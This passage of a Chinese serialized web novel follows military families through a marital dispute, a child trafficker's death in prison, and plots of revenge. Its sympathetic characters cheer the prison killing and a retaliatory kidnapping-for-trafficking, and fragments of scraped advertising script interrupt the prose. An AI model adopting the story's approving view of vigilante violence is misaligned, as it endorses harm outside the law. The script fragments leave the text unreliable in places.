真要是闹了矛盾,也该是劝和啊,哪有挑唆吵架的道理。 冯母听不进去,不过是看在周子琰的面子上,敷衍两句。 好在周子琰已经看出来了她是个不安定的因素。 便劝了劝冯薇:“今天我本来是想劝离的,可是你也看到了,孙谦不是没拿钱。这夫妻两个不怕闹矛盾,就怕闹了之后中间隔着别的人,传错了话。误会不就来了吗?所以我今天既不劝离,也不劝和。我只劝你,避开你妈妈,心平气和的跟孙谦谈谈。能过就过,不能过就放过彼此,别再闹下去了,对大人对孩子都不好。你这奶水不好,很大程度就是因为你情绪不好,你看天宝瘦的,你真的忍心啊?” 冯薇红着眼眶:“我真不知道我妈把钱扔了。可是我也理解我妈,我公婆到现在连个面都不露。” 周子琰当然明白,各有各的理由嘛。 但她还是劝道:“那是孙谦的不是,我们会说他的。但你也要正视自己的错误,不能你妈妈说什么你就信什么。不管什么时候,你们两个都应该面对面直接交流,因为是他跟你过日子,不是你妈妈跟你过日子,知道了吗?” “知道了。”冯薇还是听劝的,只是目前这个阶段,不得不让她妈妈留在这里照顾孩子。 周子琰却很担心,这么下去,她妈妈迟早会坏事。 索性建议道:“让你婆婆来吧。一来,你妈妈是丈母娘,白天跟孙谦一起照顾孩子本就不方便。二来,孙谦做买卖亏了,家用告急,要让你婆婆看到你的难处,切身体会到你们的不容易,才能知道他儿子有多不顶事儿。现在家里全靠你的工资撑着吧?别跟他们客气,他们来了你也不拿钱,让他妈妈过过没有家用的日子。” 冯薇好奇:“这样能行吗?” “怎么不行了?他做初一你做十五呗,要问你钱呢?给孩子买奶粉了。理直气壮。”周子琰整人也是有一套的。 冯薇忽然笑了:“周姐,你好坏啊。” “是你太傻。”周子琰戳了戳她的额头,“你记住了,就算你婆婆来了,也不要偏听偏信,有什么事一定要当面跟孙谦交流,避开长辈,免得他们搅合。” “知道了周姐。”冯薇点点头,确实是她冤枉孙谦了。 等周子琰他们离开后,她让她妈妈带着孩子,自己叫上孙谦,去远处的海滩上聊聊。 孙谦也被吴旭东和曹景润训了,这会儿脸上火辣辣的,不知道该怎么开口。 海风扑面,浪花阵阵,他在前面停下:“我知道你为什么非要孩子跟你姓,不就是因为我婚前那点破事吗?” “知道你还问。”冯薇也停下,带着明显的怒意。 孙谦叹了口气:“那我要是不争了,你肯彻底原谅我吗?我说的是彻底,是以后不再拿那件事挖苦我,吵架的时候也不行。只要你能做到,我认了,孩子跟你姓就跟你姓吧。反正是我有错在先。” “你真的不争了?”冯薇有点意外,也不知道吴旭东说了他什么,怎么态度变得这么快。 孙谦点点头:“不争了,但是我还有个条件,让我妈过来带孩子。你妈动不动羞辱我,我受不了。做生意谁没有亏本的时候,再赚回来不就是了。怎么在她眼里,我亏了一次就跟犯了死罪一样,连我爸妈的钱都不肯要了。” “还不是因为你爸妈到现在不来看我和孩子。”冯薇也知道理亏,可是孙谦也有错啊。 孙谦承认:“他们那边我有责任,他们不知道我和云朵的事,我会跟他们说的。我提的条件你好好考虑,孩子还小,正是需要爸爸妈妈的时候。” “那你的意思是长大了就不需要了呗?你不会是想安抚我,等孩子两岁之后再跟我争抚养权吧?”冯薇还是不太相信他。 毕竟吵了半年了,习惯性的,觉得他不是个好东西。 孙谦无奈:“随便你怎么想吧,反正咱俩是军婚,离不离都是你说了算。” 那倒也是。 冯薇沉默片刻,道:“那你结扎去吧,我不要放环,不舒服,计生组找我好多次了。” “我考虑一下行吗?” “这还用考虑啊?本来我每个月来例假还要训练就够辛苦了。” “你让我考虑一下啊,我又没说一定不愿意。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>“那你要考虑多久啊?” “一个月行不行,我多跑跑医院,看看别的人有没有后遗症。” “你就不能相信科学?” “我是个男人,万一不行了,你想踹我我有得选吗?我找谁说理去啊?” “你可得了吧,你都二手货了,我也没踹了你。” “那那那,又来!你要是改不掉挖苦我的毛病,那还是别过了。” “得了吧,许你做了,不许人说啊?我还亏了呢!我一个黄花大闺女,要了你一个残花败柳!” “姑奶奶,你有完没完了啊?你也别怪我跟你闹,你这嘴巴就不饶人!人周子琰都副团了,人对吴旭东有这么急赤白脸的时候吗?” “那能比吗?人家两口子都是彼此的初恋!人吴旭东对周子琰也好啊,主动做的结扎,你拿什么跟人比啊。” “好好好,终归是我不好。你说吧,说一辈子,看你能把我说成一手货不。” “你真恶心!” “对,我恶心,那你赶紧重找一个吧,别过了!” “孙谦,我最后一次问你,为什么要骗我?” “因为我虚荣,想做军属,可以吗?” “你总算是说实话了!” “难道你要我说对你一见钟情吗?你信吗?” “确实不信。” “你不也是图我是大学生有面子,都是成年人了,谁不知道谁的那点小九九。” “那倒没错,我爸妈还给我介绍了一个煤老板的儿子,我嫌弃他没文化,没要。” “冯薇,我就问你一句话,你到底想过还是想离?想过你就好好考虑我说的那些,至于我承诺的,我一定会做到。” “知道了,你不是要考虑一个月吗?我也考虑一个月。” “那你什么时候让你妈回去?我可受不了她了。” “我还受不了你妈呢!” “你能不能讲讲道理啊?我可警告你,吴旭东说了,咱俩要是继续吵下去,影响到他老婆孩子休息,他会让我混不下去的。你别以为他开玩笑啊,本地的药材商现在都跟他大哥有合作,我还指望跟他大哥搭上线带我发财呢。” “知道了,闭嘴,让我想想怎么跟她说。” 第二天,冯母走了,临走时阴阳怪气的,说等着孙谦做大老板呢。 孙谦没说什么,抱着孩子,默默的冲泡着奶粉,等他亲妈过来。 吴旭东抱着阿澈下楼的时候,正好看到孙谦抱着天宝去买菜。 阿澈激动坏了,手舞足蹈的嚷嚷道:“爸爸,弟弟,弟弟!” 吴旭东无奈,谁让小孩子喜欢小孩子呢。 只得走近些,让阿澈好好看看:“叫孙叔叔。” “酥酥!”小阿澈发音不太标准。 把孙谦逗笑了:“酥酥,好听。可惜我家的还不会说话。” 他把天宝竖起来抱着:“天宝,这是吴叔叔,阿澈姐姐。” 天宝眨巴着眼睛,看看陌生的小姐姐,再看看眼熟的叔叔,直接往叔叔怀里扎。 孙谦懵了:“嘿,这小子,怎么这么稀罕你呢?” 吴旭东没好气的白了孙谦一眼:“我身上有奶香味儿。今天喂奶粉了没有?” “喂了。”孙谦讪讪的,“谢谢啊,回头赚了钱还你。” “嗯,放心,肯定不会跟你客气的。”吴旭东单手抱着阿澈,把菜篮子扔地上,空出手来抱了抱天宝,不禁咋舌,“好轻,好小的一只。” 好像一边抱着一只雄赳赳气昂昂的大火鸡,一边抱着一只小鹌鹑。 虽然实际上的对比没有那么夸张,但是给他的感觉就是这样的。 天宝太瘦了。 孙谦没瞎,看得出来两个孩子体型的巨大差距。 就算算上年龄差,那也是足够夸张的落差。 不禁叹了口气,厚着脸皮道:“能介绍我跟你大哥认识认识吗?前阵子雨水多,跟他混的几个都没赔钱,倒是我跟何东升……” “看你表现吧,先把你的小家治理好了再说,我可不能介绍个拖后腿的给我哥。”吴旭东又不是没脑子的人。 当然要观察观察再说。 孙谦点点头:“应该的。今天我妈过来,到时候来我家一起吃吧。” “不用,等会我妈也来,各吃各的吧。”吴旭东昨天没带亲妈过来,是因为蕾蕾姐刚生完,他妈妈和丈母娘还没商量好,到底谁来岛上,谁留下照看孕妇。 今天商量好了。 还是亲妈照顾产妇坐月子更好一点,婆婆到底是隔了一层。 所以阿澈就让奶奶帮忙带一带了。 这样吴旭东有事的时候不至于走不开。 中午周子琰回来,看着客厅里其乐融融的奶孙两个,很是高兴。 “妈,来了?让小东带你认认路。”周子琰坐下,抱了抱小乖乖。 谈三娘点点头:“看到好多女兵,都是新来的吧?” “嗯,海岛这边要改编制,多招了一批女兵。”周子琰把孩子放下,陪孩子一起玩积木。 谈三娘指了指楼上:“那你要搬吗?按照你现在的级别,要去四楼五楼了吧?” “对,我正想说这个事呢,就是不知道搬上去之后你们方不方便。”周子琰现在是副团级,可以住更宽敞的房子。 四楼其实还行,不算太高,通风也好。 就是数字不太吉利,不如住五楼。 谈三娘笑笑:“方便,我小心点就是。再说五楼就咱们一家,还挺安静的呢。” “好,那我晚上回来帮忙搬。”周子琰放心了,只要婆婆不嫌爬楼麻烦就行。 谈三娘摇摇头:“不用,子琛下午过来,你安心忙你的,不用管这些。” 周子琰很是宽慰,比起冯薇的妈妈,她这婆婆不知道好了多少。 下午正搬着东西,吴旭东接到了一通电话。 北京的大姑打来的。 挂断电话,他人都傻了。 87. 偿命(三更) 吴家栋被人打了,进了抢救室,还没出来。 据说被打得非常惨烈。 吴旭东怔怔地看着自己妈,嘴角止不住上扬,再上扬。 他兴奋地说道:“吴家栋被狱友打了,还没有脱离危险。” 谈三娘挺意外的,问道:“狱友没事吧?” “没事。”吴旭东真的开心坏了,放下大哥大,抱着阿澈转了好几个圈:“真好,这个人渣总算遭报应了!” 谈三娘好奇:“狱友为什么要打他,寻仇吗?” “算是吧。”吴旭东很开心,放下孩子,继续收拾去了。 简而言之,吴家栋命不好。 他的狱友里面有个老大哥,也被人贩子拐走了孩子,好不容易找到了人贩子,却得知孩子被买家虐待死了。 那个老大哥气头上直接把人贩子打死了,因为不是蓄意谋杀,且及时自首,被判了无期。 老大哥坐牢的这些年,凡是牵扯到人口拐卖的犯人,进去后就没有活着出来的。 这老大哥聪明,从不自己动手,而是故意用香烟等稀缺物资钓鱼。 等对方上钩了,就一点点调整香烟以物易物的门槛儿,等到对方给不起了,就会放出风声,别的谁谁那里藏着什么好东西。 每到这个时候,烟瘾上来的人一定会铤而走险,去偷别人的东西。 这次吴家栋偷的是一个强.奸犯的东西,那人有个小团体,都是些下流胚子,发现吴家栋手脚不干净,直接群殴。 吴家栋硬生生被打得昏迷过去,肋骨断了三根,都插到肺里去了,七窍流血,四肢扭曲,像是一个被绞杀的麻花。 很显然,不管他死不死,那几个强.奸犯都要被追加刑期,暂时不能出去为害人间了。 这老大哥简直聪明绝顶,用祸害去打败祸害,把自己摘得干干净净的。 他得好好学习学习这个大哥的智慧。 晚上吃饭的时候,吴旭东跟周子琰说了说。 周子琰挺开心的:“打得好,这种人活该。哪天再有人把赵红梅跟李财源打进抢救室就好了。” “我也想。”吴旭东精神抖擞,夜里奋勇无敌。 第二天起床,走路都带着风。 “妈,走,去跟大哥庆祝一下。”吴旭东提前把午饭做好了,免得周子琰中午回来饿肚子。 谈三娘也很开心,搞不好吴家栋真的活不到过年了,那可真是最好的新年礼物。 母子俩带着小阿澈回去。 下楼的时候遇到孙谦的妈,是个五十来岁的退休教师。 人倒是挺体面的,就是性格不见得有多好。 要不然也不至于不来看儿媳妇和孙子。 不过那是人家的家务事,只要不吵不闹,吴旭东懒得过问。 小阿澈看到天宝就嚷嚷弟弟弟弟,非要吴旭东抱着她靠近些,让她跟天宝呜呜啊啊的说几句才走。 吴旭东上了船,无奈道:“咱家阿澈还是个话唠呢!” “这性格多好啊,走到哪里都吃得开。”谈三娘非常开心,孙女儿性格外向,上学了也不怕被人欺负。 吃得又多,块头又大,将来肯定是个孩子王。 到了医院,安小蕾已经下地走路了,谈三娘赶紧扶着点:“蕾蕾你怎么自己出来了?正阳呢?” “我突然想吃葡萄,他给我找葡萄去了。”安小蕾笑笑,没办法,馋了。 她也知道大冬天的葡萄不太好找,可是没办法,就是想吃。 谈三娘恍然,是有这种类型的产妇的,怀孕的时候倒是不怎么馋,生完了有内火,就想吃点水果。 她提醒道:“让小姨给你看看吧,调理调理。” “好。”安小蕾当妈了,加上她本来就长得和善,很有欺骗性,所以这会儿看起来,脸上泛着一层母性的光辉。 婆媳两个互相搀扶着去了病房,看看小孩。 谈三娘念了几遍孩子的名字,发现选哪个字做小名都有点拗口,只得问道:“有没有取个小名啊?” “取了,叫米饭!”安小蕾无可奈何,“正阳说了,有米饭万事足。说他当初跑买卖起步阶段,吃不起菜吃不起肉,就跟那几个兄弟猛猛吃米饭,到现在都忘不掉那段日子。” “正阳这孩子真是踏实。”谈三娘很是心疼,大儿子这一路走来不容易啊。 可惜两个儿子不在一个城市,她这个当妈的掰不成两半儿,只能跟老安和罗素漪轮流来了。 还好子琛还没有成家,安排得过来。 正说着话呢,汤正阳回来了。 他也收到了大姑的电话,二话不说,把葡萄放下,搂着弟弟用力拍了拍肩膀:“都知道了吧?吴家栋快死了!” “知道了哥!老天有眼!”吴旭东也用力拍了拍大哥的肩膀。 兄弟俩有话说,干脆出去了。 安小蕾看着他们的背影,默默叹了口气:“就算吴家栋死了,也弥补不了他们的前半生啊。法律还是太仁慈了。” “往好了想,起码他们兄弟现在都有家有业了,他们有你们,比什么都强。”谈三娘挺会安慰人的。 安小蕾笑笑:“妈,你还记得以前的事吗?” “记得一点,你小时候喜欢欺负小杰,你哥总是让着你,昨晚被你凶了也是他赔礼道歉,做哥哥做到这个份上,够可以了。”谈三娘确实没怎么忘记以前的事。 安小蕾笑了:“你也觉得我昨天不该凶他?” “那倒不是,他没把身上的烟味儿散干净就进来,挨骂也是应该的。”谈三娘还是向着儿媳妇的。 安小蕾听着很开心,好奇道:“那你怕不怕我欺负正阳?” “你不会。”谈三娘非常笃定,“你能跑到山沟里去救他,你对他是动了真感情的。” “哎,可是他有时候真的气人,生意上的朋友太多了,有的不太有素质,我不喜欢。”安小蕾这两天快被吵死了。 都是来看她的,其实看她是假,讨好汤正阳是真。 谈三娘宽慰道:“都是面场上的,为了挣钱嘛。” “我不管,你得说说他,有好些个抽烟的,一身烟味儿,烦死了。”安小蕾意见挺大。 谈三娘好奇:“是在病房里抽的吗?” “那倒没有,就是身上味儿太冲了,会熏到孩子的。”安小蕾毕竟是文化人,比较注意个人素质。 谈三娘松了口气:“没在病房里抽就行了,你也稍微包涵包涵,他也是为了你们这个家,为了挣钱。” “我知道。”安小蕾叹了口气,所以才发不了火啊,这要是换了别人,早被她赶出去了。 谈三娘坐下,安慰道:“也就这几天,等你出院了住到家里就好了。” “嗯。”安小蕾躺下,盯着天花板,想起开奶的滋味,一言难尽。 不禁佩服自己妹妹,居然哼都不哼一下的,不像她,鬼哭狼嚎的。 简直了。 她忽然笑了:“还是子琰勇敢,开奶都没嚷嚷,不像我,怕疼,怕死了。” “你也很勇敢。”疼了两天两夜呢,也坚持下来了。 当妈的都不容易。 安小蕾歪头:“怪不得正阳和小东都会哄人开心,遗传哦!” “哈哈,你是在夸我吗!”谈三娘差点没绕过来,毕竟年纪大了,又刚好没多久。 安小蕾点头:“怎么样,一下子孙子孙女都有了,开心吗?” “开心。”谈三娘认真点头。 “孩子跟我姓,你跟爸没有意见?”安小蕾比较好奇,毕竟这要是换了别的人家,应该已经闹开了。 谈三娘果断摇头:“没有啊,孩子是你们的,我们不掺和。我只管帮你们带孩子。” 安小蕾放心了:“你可是孩子奶奶,说话要算数啊。” “算数,骗人是小狗!”谈三娘还伸出小拇指,“不行拉勾——” 安小蕾哈哈大笑:“妈你真逗!好啊,拉勾——” * 医院楼下,花坛边。 兄弟俩坐着谈心。 汤正阳有个想法:“小旭,我想做点什么。” 吴旭东知道他说的是什么,只是好奇:“有必要吗?说不定那老大哥自己就动手了。” “万一呢,毕竟李财源不是直接参与拐卖的。”汤正阳不想再让那个畜生活下去了。 至于赵红梅,因为在女子监狱,所以那个老大哥应该是没办法的。 吴旭东劝道:“再等等,要是你主动联系了,那就是损阴德的事儿,八舅不会同意的。” “可是我真的好想让他们死了。”汤正阳不为自己,只是这几年亲妈是怎么过来的,他都看在眼里。 他想为亲妈报 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 仇。 至于他自己,过去的全都忘了,那不重要。 吴旭东还是劝道:“不行,再等等。哥,这么多年都过来了,不差这几天。” “你怕牵连到孩子?”汤正阳无奈,其实他也怕。 但是有时候,由不得他。 吴旭东点头:“咱俩现在都不是一个人了,做事多考虑一点。其实我那大学同学跟他老婆吵起来的时候,我也不想管,可是一想到自己老婆孩子还要休息,就不得不管。而且要往好了管,不能火上浇油。人生在世,很多事情都是不得已的,尤其是有了家庭和子女,更要慎重啊哥。” “好,那就再等等。”汤正阳还有个事儿,“对了,给你看张照片——” 吴旭东接了过来。 照片上是个还算清秀的男青年,看着二十左右,戴着一副眼镜,斯斯文文的。 吴旭东蹙眉:“赵红梅那个大学生儿子?李全优?” “不愧是我弟弟,这都猜到了。”汤正阳叹了口气,“他来找我了,还带了这个给我——” 吴旭东接过来的是一张合照。 二十年前的。 汤正阳怀里抱着一个小婴儿,身边还围着另外几个弟弟妹妹。 吴旭东狐疑道:“他想干什么?想打亲情牌,要你原谅他?” “不止,赵红梅和李财源上诉了,二审维持原判。他们还是不服,就让这个小畜生来找我。”汤正阳想到前几天的事,有点反胃。 试想一下,祸害自己的凶手,他们的儿子口口声声管自己叫哥,还打感情牌,为凶手求情,谁受得了。 吴旭东一下就猜到了,立马撕了照片:“别理,让他滚!汤家的弟弟我管不着,你认也是应该的,可是你要记住了,你真正的弟弟只有我,让他滚蛋!” “别告诉你蕾蕾姐,我不想让她着急。就是想问问你的想法,跟我想法一致的话,我就放心去做了。”汤正阳掏出打火机,直接把照片点了。 吴旭东搂着他的肩膀:“我绝不原谅任何伤害过你的人。也不准你原谅!” “我也一样。要是哪天王五毛她们来找你,你也要记得你今天说过的话。”汤正阳看着被风卷起的灰烬,用力拍了拍弟弟的肩膀。 吴旭东拉钩:“骗人是小狗。” “骗人是小狗!”做哥哥的也幼稚一回。 最后一点火星消失的时候,哥俩相视一笑,回医院去了。 晚上吴旭东回去,刚坐下准备吃晚饭,电话响了。 他以为是大姑打来的,赶紧问道:“大姑,是不是吴家栋死了?” 那头却传来一阵沉默,最后冷笑一声,挂断了电话。 吴旭东狐疑地盯着大哥大,骂了句神经病。 * 火车站。 李全优站在站前广场的共用电话亭前,把玩着手里的名片,点上一根烟。 挂断电话,他吐出几个烟圈,冷笑道:“吴旭东是吗?这就是你的号码,你的声音。等着,你的好日子到头了。” 抽完烟,他又塞进去一枚硬币,拨通了汤正阳的号码:“你真的不肯见我是吗?我再给你一次机会,要不然,你弟弟就等着倒霉吧。” 汤正阳蹙眉:“你到底想干什么?” “你猜?”李全优故弄玄虚,挂断了电话。 他的行李箱里藏着几公斤汽油呢,只要一束小火苗,就可以送吴旭东的科技公司上西天。 既然大哥无情,就别怪他无义了。 他咬着后槽牙,准备打车去放火。 刚到路边,就看到了两个彪形大汉出现在了他面前。 他往左边,大汉也往左。 他往右边,大汉也往右。 他不理解:“你们想干什么?” “带你去泰国玩玩儿。”眼角有疤的大汉直接接手了他的行李箱。 身后的另外一个大汉挂断了电话,转身道:“请吧,大学生。” 李全优吓得不轻,扭头便想跑,可惜两个大汉早有准备。 一左一右,直接把他叉起来,带上了面包车。 到了车上,他还想挣扎着逃跑,却被刚才打电话的那个一拳头直接砸晕。 “小畜生,大哥给过你机会了,你敢动歪心思,那就别怪咱们不客气了。”说罢,男人戴上墨镜,“走,送他去做人妖!” 88. 联手 北方的小年夜,大雪纷飞。 吴家栋的家人在医院守了好些天,最终还是没能等来好消息。 医生盖上白布的瞬间,他的子女发出撕心裂肺的哀嚎。 可惜晚了,人已经凉透了,再哭也无力回天。 吴家栋被葬在了郊外的一处公墓。 因为死得不光彩,所以葬礼草草结束。 人群散去后,一个穿着黑色风衣的女人走上前来。 她戴着墨镜,黑色的皮手套上沾满了雪花。 她蹲在墓前,掸掉积雪,献上了一束白色的菊花。 远处的黑色轿车上下来一个戴着墨镜的男人,走过来给她撑上了雨伞。 天空阴沉沉的,她却矗立在墓前,久久不肯离去。 男人沉声道:“走吧娟儿,不早了。” 柴娟茫然的抬头:“你看,我说的吧,吴旭东会报仇的。早晚也会轮到我的。” “你不会,拐卖儿童的是你哥哥,不是你。吴家栋的事情我调查过了,他是当年迫害吴旭东和他大哥的主谋,他们找他报仇是应该的。而且,他们只是送他坐牢,并没有下黑手。吴家栋是偷狱友的东西被打死的。”男人显然有点背景,消息渠道很灵。 柴娟却依旧惴惴不安:“不,你不懂,他那个人很可怕的,眼神阴森森的,看我的时候,像是要把我活剐了一样。” “你想多了,孕期胡思乱想是正常的,别怕,有我。”男人搂着她的肩膀,“走吧,你不能着凉的。” 柴娟转身搂住男人的脖子:“我不管,你答应我的,你要给他的公司找点麻烦,免得他什么时候想起来了找我报仇。” “好好好,答应你,肯定答应你。”男人看了看手表,“对了,你不是让我想办法捞秋瑶出来吗?今晚应该有结果了,走,回去吧,等那边的电话。” “好。”柴娟小鸟依人的依偎在男人怀里,到了车上,还不忘搂着男人的脖子撒个娇,求个亲亲和安慰。 男人摘下墨镜,浑身散发着老男人的成熟魅力。 由着这个刚毕业的小女生在怀里乱拱。 他很受用,毕竟功成名就的男人,早就在金钱和权力上得到了满足。 只剩女人年轻的身体,对他还有着致命的吸引力。 腻歪劲儿过去,他重新戴上墨镜:“回去后别乱跑,等我去看你。” “你不用每次出来都跟我强调,我是个什么身份我心里有数。”柴娟默默的叹了口气。 能怎么办呢? 大哥死后,舅舅家就把她赶出来了。 她只能自谋出路。 没想到在卡拉OK卖酒陪唱的时候,遇到了这个男人。 直接把她带走,养在了金丝笼中。 所幸,男人的老婆事业心很强,压根没有功夫过问他在外面的莺莺燕燕。 所以,两人在一起两年多了,依旧风平浪静的。 不过她现在怀孕了,需要格外小心一点。 她抚摸着自己的肚子,问道:“真的要生下来吗?” “生,我想要个儿子,全靠你了娟儿。”男人笑笑,方向盘打满,调头,回城。 他给柴娟在三环附近买了套别墅。 柴娟回到空荡荡的豪宅里面,一再叹气。 冲了澡,进了卧室,她拿出床头柜的相册,翻到其中一页,停了下来。 这是她问毛文秀的表姐买的。 一张合照,花了她一万块钱。 只为了照片上那个曾经让她心动过的男人。 一个可能会找她报仇的男人。 可惜这只是合照,每个人都有些模糊。 她只能闭上眼,脑补那天她拦在货车前的画面。 帅气的男大学生,满脸写着冷漠和不耐烦。 正是那股子不羁的劲儿最最吸引她。 没想到,她的大哥却是一个见不得光的祸害。 硬生生斩断了她的这一份念想。 时至今日,她都唏嘘不已。 遗憾,不甘,念念不忘。 她只能打开电脑,点开BBS,找到侦探小说的板块,找人闲聊。 【恋之殇】:今天去了一个葬礼现场,是个人贩子,死得真惨。虽说是罪有应得,可是他死得也太蹊跷了,有人帮我分析一下吗? 【铁木阿童臂】:居然有人心疼人贩子,不会你也是人贩子吧? 【聪明的二休】:楼上真是火眼金睛,这个贴主每天都在关注人贩子相关的话题,合理怀疑他就是人贩子,或者家里有人贩子。 【恋之殇】:你们很过分哎,我是刑侦专业的,想找人帮忙分析一下怎么了?学无止境不懂吗? 【聪明的二休】:你要是刑侦专业的,你们老师不会讲吗?社会关系是什么,有没有仇家,动机是什么,死因是什么?这些老师肯定会讲的,用得着来匿名论坛提问吗?不就是想找认同,不就是想同情人贩子给人贩子翻案?看看你的过往发言,真是一言难尽。 【不激动的战士】:顶楼上,贴主每次一出现,必然是人贩子相关的话题,要么是来钓鱼的,要么就是做贼心虚呗。 【南斗神腿】:好了好了,都别吵了,说不定是个学渣,上课没好好听呢。说说吧,什么情况。 柴娟可算是找到了愿意帮忙的,赶紧把吴家栋的死因陈述了一遍,又怕被本地人认出就是吴家栋,所以做了一定的模糊化处理。 至于吴家栋做的事,则被她简化成了——拐卖了堂兄家的两个男孩子。 【南斗神腿】:看完了,有几个不合理的地方。他为什么要拐卖自己堂兄家的孩子,而且堂兄家两儿两女,两个女儿都好好的,只有儿子出事了,可见他不是单纯的拐卖,而是涉及到更深层的原因。也许是为了继承权,也许是为了让他堂哥绝嗣。总之,正常人做不出这种事来,死了也是活该。 【聪明的二休】:只能说,天降正义。感谢监狱判官。 【铁木阿童臂】:我也觉得监狱老哥是在替天行道,死得好,上唢呐,起! 【不激动的战士】:我好像知道贴主说的是谁了。奉劝贴主一句,给人贩子洗白天打雷劈,小心生孩子没P眼儿。 【恋之殇】:你胡说什么啊,我只是分析一下,那几个打人的有没有可能是受人挑唆,毕竟大家无冤无仇的。 【聪明的二休】:那他堂哥跟他有冤有仇吗?卖了人家两个儿子,也太缺德了吧?这种人断子绝孙才是好的,少出来祸害正常人了。 【铁木阿童臂】:建议版主封了这个臭傻哔,隔三差五就来给人贩子叫屈,怀疑这个死得蹊跷,怀疑那个死得冤枉。我还怀疑你就是人贩子本贩呢?有没有IT大佬查一下这个傻缺的IP,赶紧报警,抓他丫的。 柴娟气死了,一个帮她说话的都没没有。 干脆摔了鼠标,扔了键盘,趴在办公桌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 上生闷气。 不知不觉竟然睡着了。 第二天上午,一通电话将她叫醒。 她迷迷糊糊的抬起头来,抓起大哥大:“喂,阿豪?” “秋瑶我捞出来了,你要跟她见一面吗?还是说,你们各做各的?”男人叼着烟,看着出站口的漂亮女人,舔了舔后槽牙。 好看,想睡。 他没有掩饰内心的想法,车子靠近一点,摇下车窗,就这么耐心的等着鱼儿自己上钩。 柴娟还能不知道他是个什么货色吗? 那个秋瑶,迟早也是他的女人。 柴娟不想给自己找气受,沉默片刻,道:“你给她单独安排住处吧,想见面的话,等下午,我还没睡醒。” 柴娟给足了男人时间。 如果他真的想对秋瑶下手,从现在到下午,五个小时的时间足够了。 毕竟这个凤凰男是个钓女人的高手。 果不其然,下午电话再响起的时候,男人已经给秋瑶安排好爱巢了。 “房子是租的,离你那里不远。你放心,只要你不想见到她,你就不会见到她。”男人刚刚“吃”饱,说话的时候,手也不老实,正在秋瑶身上乱摸。 柴娟一点也不伤心,毕竟她也只是利用这个男人而已。 她平静的问道:“那我去哪里跟她见面?” “你楼下的咖啡馆吧。选二楼包间,私密一点。”男人笑笑,用力掐红了女人的皮肤。 秋瑶忍不住发出一声娇嗔。 说不出到底是故意的还是不小心。 柴娟依旧平静,问道:“几点见面?现在吗?” “半个小时后吧,你还要化妆。”男人挂断了电话。 扔掉大哥大,他将秋瑶摁在怀里,动作粗鲁,一点不见怜香惜玉。 秋瑶红着眼睛仰起脖子:“你救我,为了什么?” “我老婆想找吴旭东报仇,你跟周子琛有仇,正好,你们做个伴儿。”男人笑着揉捏着秋瑶的皮肤。 他最爱看娇滴滴的小女人,皮肤从羊脂玉变成殷红的血玉,那真是极致的享受。 秋瑶痛得浑身发抖,嘶了几声,被男人扼住了脖子:“这么害怕?那你现在后悔还来得及。” “我不后悔,谢谢你救我。”秋瑶落下泪来,却倔强的不肯低头。 男人心满意足,是个好料子。 起身,他把新买来的衣服扔在了秋瑶身上:“打扮好点儿,做我的女人,可不能掉价。” 下午三点半。 打扮整齐的秋瑶,准时来到了咖啡馆。 二楼雅间,等了足足半个小时,都没见人来。 正准备离开,包间门被人推开了。 一个打扮清纯的女人走了进来。 脱去外面的面包服,才发现她里面穿着大学校服,好像故意炫耀自己的学历似的。 可惜秋瑶没能上完大学,要不然,完全不会被比下去的。 当女人摘下帽子,秋瑶笑了。 果然很漂亮。 她笑着起身:“你好,我叫季梦遥。” 这是男人给她取的新名字,做的新身份。 柴娟笑笑,握住她的手:“你好,秋瑶。” 同一时间,周子琛收到了秋璃的邮件。 “我姐在监狱上吊自杀了,我怀疑是假的。你小心点,可能有人把她弄出去了,说不定会找你报仇。” 89. 光荣(二更) 周子琛并不意外。 因为那个秋瑶,不像是会消停的样子。 只不过,到底是谁把她捞出去了呢? 这是个问题。 他给吴旭东打了个电话:“姐夫,秋瑶可能出来了。” 吴旭东这两天有点忙,搬家后不放心那些门窗,怕阿澈胡乱攀爬出点什么意外,刚找人封了防盗窗。 这会儿工人还在收拾,屋里挺吵的,只能叮嘱自己妈一声,让她看好阿澈,他去走廊说话。 “她被减刑了?” “没有,秋璃说她在监狱上吊自杀了,你信吗?” “不信。子琛,你可能会有危险,要不你还来岛上陪阿澈吧。” “不用,早晚要面对的。我倒是希望她能光明正大的来找我寻仇。总比躲在暗处好一些。” “都是为了我的事。你还是来岛上吧,我放心一点。” “姐夫你说的什么话?咱们不是一家人吗?分什么你的我的?你再这么说我可生气了啊。” “好,不说。你让大哥问问广州那边什么情况,也许有人知道内情。” “好,你也注意安全。不管是谁,能把秋瑶捞出来肯定来头不小,她可是判了十年呢!我现在比较担心,会不会是北京那边有了动作,比如吴家栋的子女,或者他兄弟吴家梁那边,也可能是赵红梅跟李财源的子女,要不让你大姑也帮忙打听打听?” “嗯,好,那你让秋璃给你发几张秋瑶的照片,这样我大姑也能有的放矢。” “好,姐夫你千万看好阿澈,我不怕他们找咱们大人的麻烦,就怕他们对小孩下手。” “放心,我有数。” 挂断电话,吴旭东决定请个女保镖。 毕竟阿澈是女孩子,男保镖可以有,但不如女保镖方便。 哪怕一男一女搭配着来也好。 等周子琰回来,他便说了一声:“有没有身手好的退伍女兵,介绍一个。” “有啊,我来安排。”周子琰可不敢大意,别看改开十几年了,可是治安的问题依然很让人头疼。 既然秋瑶出来了,那还是要小心一点的。 当天晚上就安排好了:“我给她留了你公司的地址,明天她去前台登记,你随便给她安排个什么职位,当个掩护。” “行。”吴旭东放心了,周子琰选的人,一定非常可靠。 * 大平层。 汤正阳最近留在这里,跟丈母娘一起照顾安小蕾和孩子。 至于那些药材买卖,都有他的心腹在负责,只要大事让他拿主意就行。 此时他正抱着米饭,给这小子洗屁屁。 这家伙跟他阿澈姐姐一样,能吃能拉,每次都会先预警,发起臭味攻击,然后再进入正题,有时候中间还会来一泡尿,那叫一个来势汹汹。 让他这个当爹的已经锻炼出了金刚不坏的鼻子,再臭也能直接上手去擦。 哪怕弄一身,他也得意洋洋,美其名曰:“这叫满身尽带黄金甲,我儿子疼我。” 安小蕾下床走动走动,靠在卫生间门口,白了他一眼:“你动作快点,赶紧给广州那边的疍户打个电话问问,看看他们有没有什么内部消息。这秋瑶也是真的神通广大啊,居然不声不响的上吊了。” 